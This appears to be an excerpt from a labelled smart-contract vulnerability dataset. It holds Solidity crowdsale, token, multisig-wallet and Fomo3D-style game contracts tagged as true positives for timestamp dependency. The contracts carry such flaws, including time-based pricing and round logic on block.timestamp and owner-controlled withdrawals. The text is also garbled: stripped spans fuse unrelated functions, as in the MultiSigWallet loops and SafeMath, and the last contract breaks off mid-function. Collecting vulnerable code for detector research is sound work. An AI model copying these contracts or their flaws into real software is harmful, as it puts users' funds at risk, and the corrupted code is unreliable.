FinalizableCrowdsale is Crowdsale, Ownable { using SafeMath for uint256; bool public isFinalized = false; event Finalized(); function finalize() onlyOwner public { require(!isFinalized); require(hasEnded()); finalization(); Finalized(); isFinalized = true; } function finalization() internal { } } contract RefundVault is Ownable { using SafeMath for uint256; enum State { Active, Refunding, Closed } mapping (address => uint256) public deposited; address public wallet; State public state; event Closed(); event RefundsEnabled(); event Refunded(address indexed beneficiary, uint256 weiAmount); function RefundVault(address _wallet) public { require(_wallet != address(0)); wallet = _wallet; state = State.Active; } function deposit(address investor) onlyOwner public payable { require(state == State.Active); deposited[investor] = deposited[investor].add(msg.value); } function close() onlyOwner public { require(state == State.Active); state = State.Closed; Closed(); wallet.transfer(this.balance); } function enableRefunds() onlyOwner public { require(state == State.Active); state = State.Refunding; RefundsEnabled(); } function refund(address investor) public { require(state == State.Refunding); uint256 depositedValue = deposited[investor]; deposited[investor] = 0; investor.transfer(depositedValue); Refunded(investor, depositedValue); } } contract FreezableToken is StandardToken { mapping (bytes32 => uint64) internal chains; mapping (bytes32 => uint) internal freezings; mapping (address => uint) internal freezingBalance; event Freezed(address indexed to, uint64 release, uint amount); event Released(address indexed owner, uint amount); function balanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner) + freezingBalance[_owner]; } function actualBalanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner); } function freezingBalanceOf(address _owner) public view returns (uint256 balance) { return freezingBalance[_owner]; } function freezingCount(address _addr) public view returns (uint count) { uint64 release = chains[toKey(_addr, 0)]; while (release != 0) { count ++; release = chains[toKey(_addr, release)]; } } function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) { for (uint i = 0; i < _index + 1; i ++) { _release = chains[toKey(_addr, _release)]; if (_release == 0) { return; } } _balance = freezings[toKey(_addr, _release)]; } function freezeTo(address _to, uint _amount, uint64 _until) public { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); Transfer(msg.sender, _to, _amount); Freezed(_to, _until, _amount); } function releaseOnce() public { bytes32 headKey = toKey(msg.sender, 0); uint64 head = chains[headKey]; require(head != 0); require(uint64(block.timestamp) > head); bytes32 currentKey = toKey(msg.sender, head); uint64 next = chains[currentKey]; uint amount = freezings[currentKey]; delete freezings[currentKey]; balances[msg.sender] = balances[msg.sender].add(amount); freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount); if (next == 0) { delete chains[headKey]; } else { chains[headKey] = next; delete chains[currentKey]; } Released(msg.sender, amount); } function releaseAll() public returns (uint tokens) { uint release; uint balance; (release, balance) = getFreezing(msg.sender, 0); while (release != 0 && block.timestamp > release) { releaseOnce(); tokens += balance; (release, balance) = getFreezing(msg.sender, 0); } } function toKey(address _addr, uint _release) internal pure returns (bytes32 result) { result = 0x5749534800000000000000000000000000000000000000000000000000000000; assembly { result := or(result, mul(_addr, 0x10000000000000000)) result := or(result, _release) } } function freeze(address _to, uint64 _until) internal { require(_until > block.timestamp); bytes32 key = toKey(_to, _until); bytes32 parentKey = toKey(_to, uint64(0)); uint64 next = chains[parentKey]; if (next == 0) { chains[parentKey] = _until; return; } bytes32 nextKey = toKey(_to, next); uint parent; while (next != 0 && _until > next) { parent = next; parentKey = nextKey; next = chains[nextKey]; nextKey = toKey(_to, next); } if (_until == next) { return; } if (next != 0) { chains[key] = next; } chains[parentKey] = _until; } } contract ERC223Receiver { function tokenFallback(address _from, uint _value, bytes _data) public; } contract ERC223Basic is ERC20Basic { function transfer(address to, uint value, bytes data) public returns (bool); event Transfer(address indexed from, address indexed to, uint value, bytes data); } contract SuccessfulERC223Receiver is ERC223Receiver { event Invoked(address from, uint value, bytes data); function tokenFallback(address _from, uint _value, bytes _data) public { Invoked(_from, _value, _data); } } contract FailingERC223Receiver is ERC223Receiver { function tokenFallback(address, uint, bytes) public { revert(); } } contract ERC223ReceiverWithoutTokenFallback { } contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract FreezableMintableToken is FreezableToken, MintableToken { function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); Mint(_to, _amount); Freezed(_to, _until, _amount); Transfer(msg.sender, _to, _amount); return true; } } contract Consts { uint constant TOKEN_DECIMALS = 18; uint8 constant TOKEN_DECIMALS_UINT8 = 18; uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS; string constant TOKEN_NAME = ""Word of mouth pro""; string constant TOKEN_SYMBOL = ""wmp""; bool constant PAUSED = true; address constant TARGET_USER = 0x63DA42f4151F88c7EAAeBb67783D855b4ac8AdD7; uint constant START_TIME = 1531087260; bool constant CONTINUE_MINTING = false; } contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver { using SafeMath for uint; function transfer(address _to, uint _value, bytes _data) public returns (bool) { uint codeLength; assembly { codeLength := extcodesize(_to) } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); if(codeLength > 0) { ERC223Receiver receiver = ERC223Receiver(_to); receiver.tokenFallback(msg.sender, _value, _data); } Transfer(msg.sender, _to, _value, _data); return true; } function transfer(address _to, uint256 _value) public returns (bool) { bytes memory empty; return transfer(_to, _value, empty); } } contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable { function name() pure public returns (string _name) { return TOKEN_NAME; } function symbol() pure public returns (string _symbol) { return TOKEN_SYMBOL; } function decimals() pure public returns (uint8 _decimals) { return TOKEN_DECIMALS_UINT8; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transfer(_to, _value); } } contract CappedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public cap; function CappedCrowdsale(uint256 _cap) public { require(_cap > 0); cap = _cap; } function validPurchase() internal view returns (bool) { bool withinCap = weiRaised.add(msg.value) <= cap; return super.validPurchase() && withinCap; } function hasEnded() public view returns (bool) { bool capReached = weiRaised >= cap; return super.hasEnded() || capReached; } } contract RefundableCrowdsale is FinalizableCrowdsale { using SafeMath for uint256; uint256 public goal; RefundVault public vault; function RefundableCrowdsale(uint256 _goal) public { require(_goal > 0); vault = new RefundVault(wallet); goal = _goal; } function forwardFunds() internal { vault.deposit.value(msg.value)(msg.sender); } function claimRefund() public { require(isFinalized); require(!goalReached()); vault.refund(msg.sender); } function finalization() internal { if (goalReached()) { vault.close(); } else { vault.enableRefunds(); } super.finalization(); } function goalReached() public view returns (bool) { return weiRaised >= goal; } } contract MainCrowdsale is Consts, FinalizableCrowdsale { function hasStarted() public constant returns (bool) { return now >= startTime; } function finalization() internal { super.finalization(); if (PAUSED) { MainToken(token).unpause(); } if (!CONTINUE_MINTING) { token.finishMinting(); } token.transferOwnership(TARGET_USER); } function buyTokens(address beneficiary) public payable { require(beneficiary != address(0)); require(validPurchase()); uint256 weiAmount = msg.value; uint256 tokens = weiAmount.mul(rate).div(1 ether); weiRaised = weiRaised.add(weiAmount); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } } contract Checkable { address private serviceAccount; bool private triggered = false; event Triggered(uint balance); event Checked(bool isAccident); function Checkable() public { serviceAccount = msg.sender; } function changeServiceAccount(address _account) onlyService public { assert(_account != 0); serviceAccount = _account; } function isServiceAccount() view public returns (bool) { return msg.sender == serviceAccount; } function check() onlyService notTriggered payable public { if (internalCheck()) { Triggered(this.balance); triggered = true; internalAction(); } } function internalCheck() internal returns (bool); function internalAction() internal; modifier onlyService { require(msg.sender == serviceAccount); _; } modifier notTriggered() { require(!triggered); _; } } contract BonusableCrowdsale is Consts, Crowdsale { function buyTokens(address beneficiary) public payable { require(beneficiary != address(0)); require(validPurchase()); uint256 weiAmount = msg.value; uint256 bonusRate = getBonusRate(weiAmount); uint256 tokens = weiAmount.mul(bonusRate).div(1 ether); weiRaised = weiRaised.add(weiAmount); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } function getBonusRate(uint256 weiAmount) internal view returns (uint256) { uint256 bonusRate = rate; uint[4] memory weiRaisedStartsBoundaries = [uint(0),uint(0),uint(0),uint(0)]; uint[4] memory weiRaisedEndsBoundaries = [uint(20000000000000000000000),uint(20000000000000000000000),uint(20000000000000000000000),uint(20000000000000000000000)]; uint64[4] memory timeStartsBoundaries = [uint64(1531087260),uint64(1532383140),uint64(1534197540),uint64(1536011940)]; uint64[4] memory timeEndsBoundaries = [uint64(1532383140),uint64(1534197540),uint64(1536011940),uint64(1537221540)]; uint[4] memory weiRaisedAndTimeRates = [uint(400),uint(300),uint(200),uint(100)]; for (uint i = 0; i < 4; i++) { bool weiRaisedInBound = (weiRaisedStartsBoundaries[i] <= weiRaised) && (weiRaised < weiRaisedEndsBoundaries[i]); bool timeInBound = (timeStartsBoundaries[i] <= now) && (now < timeEndsBoundaries[i]); if (weiRaisedInBound && timeInBound) { bonusRate += bonusRate * weiRaisedAndTimeRates[i] / 1000; } } uint[2] memory weiAmountBoundaries = [uint(20000000000000000000),uint(10000000000000000000)]; uint[2] memory weiAmountRates = [uint(0),uint(50)]; for (uint j = 0; j < 2; j++) { if (weiAmount >= weiAmountBoundaries[j]) { bonusRate += bonusRate * weiAmountRates[j] / 1000; break; } } return bonusRate; } } contract TemplateCrowdsale is Consts, MainCrowdsale , BonusableCrowdsale , RefundableCrowdsale , CappedCrowdsale { event Initialized(); bool public initialized = false; function TemplateCrowdsale(MintableToken _token) public Crowdsale(START_TIME > now ? START_TIME : now, 1546297140, 1500 * TOKEN_DECIMAL_MULTIPLIER, 0x8F988d90C96282402b47b01D7EADE079eA6eBe36) CappedCrowdsale(20000000000000000000000) RefundableCrowdsale(1000000000000000000000) { token = _token; } function init() public onlyOwner { require(!initialized); initialized = true; if (PAUSED) { MainToken(token).pause(); } address[4] memory addresses = [address(0x192ff136cd853ab6b9b5097bf017024d7da709c3),address(0xa00be5796cf65147a7494f2f27de08cca6847cbb),address(0xb1c1113f071fa97318074486e27efd8e753f6b54),address(0xbd3e941f88c892118a8fc50ffa8ccd1199e30704)]; uint[4] memory amounts = [uint(1500000000000000000000000),uint(5000000000000000000000000),uint(10000000000000000000000000),uint(3500000000000000000000000)]; uint64[4] memory freezes = [uint64(1577746808),uint64(1577746809),uint64(0),uint64(1561845608)]; for (uint i = 0; i < addresses.length; i++) { if (freezes[i] == 0) { MainToken(token).mint(addresses[i], amounts[i]); } else { MainToken(token).mintAndFreeze(addresses[i], amounts[i], freezes[i]); } } transferOwnership(TARGET_USER); Initialized(); } function createTokenContract() internal returns (MintableToken) { return MintableToken(0); } }",./Dataset/timestamp dependency (TP)/,6,6 34247.sol,"/** * Originally from https://github.com/ConsenSys/MultiSigWallet */ /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <[email protected]> contract MultiSigWallet { uint constant public MAX_OWNER_COUNT = 50; event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { if (msg.sender != address(this)) throw; _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) throw; _; } modifier ownerExists(address owner) { if (!isOwner[owner]) throw; _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) throw; _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) throw; _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) throw; _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) throw; _; } modifier notNull(address _address) { if (_address == 0) throw; _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) throw; _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) throw; isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param owner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } interface TokenContract { function transfer(address _recipient, uint256 _amount) external returns (bool); function balanceOf(address _holder) external view returns (uint256); } interface InvestorsStorage { function newInvestment(address _investor, uint256 _amount) external; function getInvestedAmount(address _investor) external view returns (uint256); function investmentRefunded(address _investor) external; } contract CrowdSale is Ownable { using SafeMath for uint256; TokenContract public tkn; InvestorsStorage public investorsStorage; uint256 public levelEndDate; uint256 public currentLevel; uint256 public levelTokens = 1500000; uint256 public tokensSold; uint256 public weiRised; uint256 public ethPrice; address[] public investorsList; bool public crowdSalePaused; bool public crowdSaleEnded; uint256[10] private tokenPrice = [52, 54, 56, 58, 60, 62, 64, 66, 68, 70]; uint256 private baseTokens = 1500000; uint256 private usdCentValue; uint256 private minInvestment; address public affiliatesAddress = 0xFD534c1Fd8f9F230deA015B31B77679a8475052A; constructor() public { levelEndDate = block.timestamp + (1 * 7 days); tkn = TokenContract(0x5313E9783E5b56389b14Cd2a99bE9d283a03f8c6); investorsStorage = InvestorsStorage(0x15c7c30B980ef442d3C811A30346bF9Dd8906137); minInvestment = 100 finney; updatePrice(5000); } function() payable public { require(msg.value >= minInvestment); require(!crowdSalePaused); require(!crowdSaleEnded); if (currentLevel < 9) { if (levelEndDate < block.timestamp) { currentLevel += 1; levelTokens += baseTokens; levelEndDate = levelEndDate.add(1 * 7 days); } prepareSell(msg.sender, msg.value); } else { if (levelEndDate < block.timestamp) { crowdSaleEnded = true; msg.sender.transfer(msg.value); } else { prepareSell(msg.sender, msg.value); } } } function prepareSell(address _investor, uint256 _amount) private { uint256 remaining; uint256 pricePerCent; uint256 pricePerToken; uint256 toSell; uint256 amount = _amount; uint256 sellInWei; address investor = _investor; pricePerCent = getUSDPrice(); pricePerToken = pricePerCent.mul(tokenPrice[currentLevel]); toSell = _amount.div(pricePerToken); if (toSell < levelTokens) { levelTokens = levelTokens.sub(toSell); weiRised = weiRised.add(_amount); executeSell(investor, toSell, _amount); owner.transfer(_amount); } else { while (amount > 0) { if (toSell > levelTokens) { toSell = levelTokens; sellInWei = toSell.mul(pricePerToken); amount = amount.sub(sellInWei); if (currentLevel < 9) { currentLevel += 1; levelTokens = baseTokens; if (currentLevel == 9) { baseTokens = tkn.balanceOf(address(this)); } } else { remaining = amount; amount = 0; } } else { sellInWei = amount; amount = 0; } executeSell(investor, toSell, sellInWei); weiRised = weiRised.add(sellInWei); owner.transfer(amount); if (amount > 0) { toSell = amount.div(pricePerToken); } if (remaining > 0) { investor.transfer(remaining); owner.transfer(address(this).balance); crowdSaleEnded = true; } } } } function executeSell(address _investor, uint256 _tokens, uint256 _weiAmount) private { uint256 totalTokens = _tokens * (10 ** 18); tokensSold += _tokens; investorsStorage.newInvestment(_investor, _weiAmount); require(tkn.transfer(_investor, totalTokens)); emit NewInvestment(_investor, totalTokens); } function terminateCrowdSale() onlyOwner public { require(crowdSaleEnded); uint256 remainingTokens = tkn.balanceOf(address(this)); require(tkn.transfer(affiliatesAddress, remainingTokens)); selfdestruct(owner); } function getUSDPrice() private view returns (uint256) { return usdCentValue; } function updatePrice(uint256 _ethPrice) private { uint256 centBase = 1 * 10 ** 16; require(_ethPrice > 0); ethPrice = _ethPrice; usdCentValue = centBase.div(_ethPrice); } function setUsdEthValue(uint256 _ethPrice) onlyOwner external { updatePrice(_ethPrice); } function setStorageAddress(address _investorsStorage) onlyOwner public { investorsStorage = InvestorsStorage(_investorsStorage); } function pauseCrowdSale(bool _paused) onlyOwner public { crowdSalePaused = _paused; } function getFunds() onlyOwner public { owner.transfer(address(this).balance); } event NewInvestment(address _investor, uint256 tokens); }",./Dataset/timestamp dependency (TP)/,6,6 3556.sol,"pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract modularShort is F3Devents {} contract F3DShop is modularShort { using SafeMath for *; using NameFilter for string; using F3DKeysCalcShort for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x077c6697C0e6861b0e058bc3D5ba77b9f37434C6); address private admin = 0x700D7ccD114D988f0CEDDFCc60dd8c3a2f7b49FB; address private coin_base = 0x4D79AAe78608CF0317F4f785cAF449faDC1ff983; string constant public name = ""F3DShop""; string constant public symbol = ""F3DShop""; uint256 private rndExtra_ = 0; uint256 private rndGap_ = 2 minutes; uint256 constant private rndInit_ = 1 hours; uint256 constant private rndInc_ = 30 seconds; uint256 constant private rndMax_ = 24 hours; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(22,6); fees_[1] = F3Ddatasets.TeamFee(38,0); fees_[2] = F3Ddatasets.TeamFee(52,10); fees_[3] = F3Ddatasets.TeamFee(68,8); potSplit_[0] = F3Ddatasets.PotSplit(15,10); potSplit_[1] = F3Ddatasets.PotSplit(25,0); potSplit_[2] = F3Ddatasets.PotSplit(20,20); potSplit_[3] = F3Ddatasets.PotSplit(30,10); } modifier isActivated() { require(activated_ == true, ""its not ready yet. check ?eta in discord""); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""pocket lint: not a valid currency""); require(_eth <= 100000000000000000000000, ""no vitalik, no""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return 